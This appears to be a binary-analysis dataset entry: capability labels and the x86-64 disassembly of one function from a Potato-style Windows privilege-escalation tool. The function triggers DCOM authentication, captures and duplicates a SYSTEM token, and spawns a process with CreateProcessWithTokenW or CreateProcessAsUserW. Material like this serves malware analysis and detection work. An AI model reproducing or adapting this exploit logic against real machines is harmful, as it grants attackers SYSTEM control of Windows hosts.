Function at 0x140007a10
Capabilities:
Create process on windows
Create thread
Impersonate user

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x378]
sub rsp, 0x450
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14006a008]
xor rax, rsp
mov qword [rbp + 0x340], rax
mov ecx, 0x30
call fcn.140008954
mov r14, rax
mov qword [rsp + 0x78], rax
xor eax, eax
mov qword [r14], rax
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], 0xffffffffffffffff
mov qword [r14 + 0x20], 0xffffffffffffffff
mov qword [r14 + 0x28], 0xffffffffffffffff
mov ecx, 0xc0
call fcn.140008954
mov rbx, rax
mov qword [rbp + 8], rax
xor edx, edx
mov r8d, 0xc0
mov rcx, rax
call fcn.14000dcf0
mov rcx, rbx
call fcn.140006a20
nop
mov qword [r14], rax
mov ecx, 0xc0
call fcn.140008954
mov rbx, rax
mov qword [rbp + 8], rax
xor edx, edx
mov r8d, 0xc0
mov rcx, rax
call fcn.14000dcf0
mov rcx, rbx
call fcn.140006a20
nop
mov qword [r14 + 8], rax
xor r15d, r15d
mov dword [0x14006e654], r15d
lea ecx, [r15 + 0x60]
call fcn.140008954
mov rbx, rax
mov qword [rsp + 0x78], rax
xor edx, edx
lea r8d, [r15 + 0x60]
mov rcx, rax
call fcn.14000dcf0
mov dword [rbx + 8], 0xffffffff
mov qword [r14 + 0x10], rbx
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
mov r9, r14
lea r8, [0x140006ab0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
mov r9, r14
lea r8, [0x140006aa0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, str.PotatoAPI::triggerDCOM
lea rcx, [0x14006d010]
call fcn.140005680
mov rcx, rax
call fcn.1400059f0
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
lea r8, [rbp - 0x80]
lea edx, [r15 + 1]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CreateILockBytesOnHGlobal]
lea r9, [rsp + 0x70]
xor r8d, r8d
mov edx, 0x1012
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.ole32.dll_StgCreateDocfileOnILockBytes]
lea ecx, [r15 + 0x20]
call fcn.140008954
mov qword [rsp + 0x78], rax
xor ecx, ecx
mov qword [rax], rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
mov rcx, qword [rsp + 0x70]
lea rdx, vtable.IStorageTrigger.1.0
mov qword [rax], rdx
lea rbx, [rax + 8]
lea rdx, vtable.IStorageTrigger.0
mov qword [rbx], rdx
mov qword [rax + 0x10], rcx
mov dword [rax + 0x18], 1
lea rdx, [rbp + 8]
mov rcx, qword [0x14006e690]
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rdx, [rbp + 0x18]
lea rcx, str.00000000_0000_0000_C000_000000000046
call qword [sym.imp.ole32.dll_CLSIDFromString]
lea rax, [rbp + 0x18]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], r15
mov dword [rbp + 0x38], r15d
lea rax, [rbp + 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rbx
lea r9d, [r15 + 4]
xor r8d, r8d
lea rdx, [rbp + 8]
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoGetInstanceFromIStorage]
lea ecx, [r15 + 1]
call fcn.140012004
mov rcx, rax
call fcn.140012558
lea r12, [0x14006e670]
lea r13, str.winsta0default
mov rax, qword [r14 + 0x10]
cmp dword [rax + 8], 0xffffffff
je 0x140007c70
cmp dword [0x14006e680], 0
jne 0x140007cb5
lea rcx, [0x14006d010]
call fcn.1400059f0
mov rbx, qword [r14 + 0x10]
lea rdx, str.___authresult
mov rcx, rax
call fcn.1400053d0
mov rcx, rax
mov edx, dword [rbx + 8]
call fcn.140002c30
mov rcx, rax
call fcn.1400059f0
mov ecx, 1
call fcn.140012004
mov rcx, rax
call fcn.140012558
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 8]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400081c2
lea rdx, str.SeImpersonatePrivilege
mov rcx, qword [rbp + 8]
call fcn.1400077f0
lea rdx, str.SeAssignPrimaryTokenPrivilege
mov rcx, qword [rbp + 8]
call fcn.1400077f0
mov dword [rbp], r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x18]
mov edx, 0xf01ff
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [r14 + 0x10]
lea rdx, [0x14006e678]
mov rcx, qword [rcx]
call qword [sym.imp.Secur32.dll_QuerySecurityContextToken]
mov rdi, qword [0x14006e678]
mov dword [rsp + 0x68], r15d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x140007e44
mov ecx, eax
call fcn.14001011c
mov rbx, rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, rbx
mov edx, 1
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov dword [rsp + 0x68], eax
mov ecx, eax
call fcn.14001011c
mov rdi, rax
mov r8, qword [rbx]
mov rdx, rax
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CopySid]
mov dword [rsp + 0x70], 0x3f
mov dword [rbp + 4], 0x3f
lea rax, [rbp - 0x80]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x70]
lea r8, [rbp + 0x40]
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
mov rcx, rdi
call fcn.140010108
lea rdx, [rbp + 0xc0]
lea rcx, [0x14006d010]
call fcn.1400053d0
mov rcx, rax
lea rdx, [0x14005da48]
call fcn.1400053d0
mov rcx, rax
lea rdx, [rbp + 0x40]
call fcn.1400053d0
lea rdx, str.SYSTEM
lea rcx, [rbp + 0x40]
call fcn.1400120d4
cmp dword [0x14006e680], 0
jne 0x1400081bb
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x78]
lea edx, [r9 + 4]
mov rcx, qword [0x14006e678]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp], 0
jne 0x140007eb4
lea rcx, [0x14006d010]
call fcn.1400059f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.____Error_getting_token_type:_error_code
mov rcx, rbx
call fcn.1400053d0
mov rcx, rax
mov edx, edi
call fcn.140002a30
mov rcx, rax
call fcn.1400059f0
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [0x14006e678]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
mov esi, eax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x78]
lea edx, [r9 + 4]
mov rcx, qword [0x14006e670]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rbp], 0
jne 0x140007f41
lea rcx, [0x14006d010]
call fcn.1400059f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.Error_getting_token_type:_error_code
mov rcx, rbx
call fcn.1400053d0
mov rcx, rax
mov edx, edi
call fcn.140002a30
mov rcx, rax
call fcn.1400059f0
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea r8d, [rdx + 0x68]
lea rcx, [rbp - 0x70]
call fcn.14000dcf0
xor eax, eax
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rax
mov dword [rbp - 0x70], 0x68
mov qword [rbp - 0x60], r13
call qword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ecx, 1
call fcn.140012004
mov rcx, rax
call fcn.140012558
mov r10, qword [0x14006e658]
mov rax, r10
lea rdx, [rbp + 0x140]
sub rdx, r10
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x140007fa0
cmp qword [0x14006e660], 0
je 0x140007fff
mov r8d, 1
lea rdx, [0x14005e140]
lea rcx, [rbp + 0x140]
call fcn.14001208c
mov rdx, qword [0x14006e660]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], 0
jne 0x140007fe1
lea rcx, [rbp + 0x140]
call fcn.14001208c
mov r10, qword [0x14006e658]
mov rax, qword [0x14006e668]
movzx ecx, word [rax]
cmp cx, 0x74
je 0x140008019
cmp cx, 0x2a
jne 0x1400080a3
lea rax, [rbp + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x140]
mov r8, r10
xor edx, edx
mov rcx, qword [0x14006e670]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov esi, eax
lea rcx, [0x14006d010]
test eax, eax
jne 0x14000819b
call fcn.1400059f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.____CreateProcessWithTokenW_Failed_to_create_proc:
mov rcx, rbx
call fcn.1400053d0
mov rcx, rax
mov edx, edi
call fcn.140002a30
mov rcx, rax
call fcn.1400059f0
mov r10, qword [0x14006e658]
mov rax, qword [0x14006e668]
movzx ecx, word [rax]
cmp cx, 0x75
je 0x1400080ff
cmp cx, 0x2a
je 0x1400080ff
test esi, esi
je 0x1400081b7
lea rcx, [0x14006d010]
call fcn.1400059f0
lea rdx, str.Waiting_for_auth...
mov rcx, rax
call fcn.140005680
mov rcx, rax
call fcn.1400059f0
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.140012004
mov rcx, rax
call fcn.140012558
jmp 0x140007c70
lea rax, [rbp + 0x28]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [0x14005e1f8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x30], r15d
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [rbp + 0x140]
mov rdx, r10
mov rcx, qword [0x14006e670]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov esi, eax
lea rcx, [0x14006d010]
test eax, eax
jne 0x14000818d
call fcn.1400059f0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.____CreateProcessAsUser_Failed_to_create_proc:
mov rcx, rbx
call fcn.1400053d0
mov rcx, rax
mov edx, edi
call fcn.140002a30
mov rcx, rax
call fcn.1400059f0
mov eax, esi
jmp 0x1400081c4
call fcn.1400059f0
lea rdx, str.___CreateProcessAsUser_OK
jmp 0x1400081a7
call fcn.1400059f0
lea rdx, str.___CreateProcessWithTokenW_OK
mov rcx, rax
call fcn.1400053d0
mov rcx, rax
call fcn.1400059f0
mov eax, esi
jmp 0x1400081c4
mov eax, 1
jmp 0x1400081c4
xor eax, eax
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.140008660
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret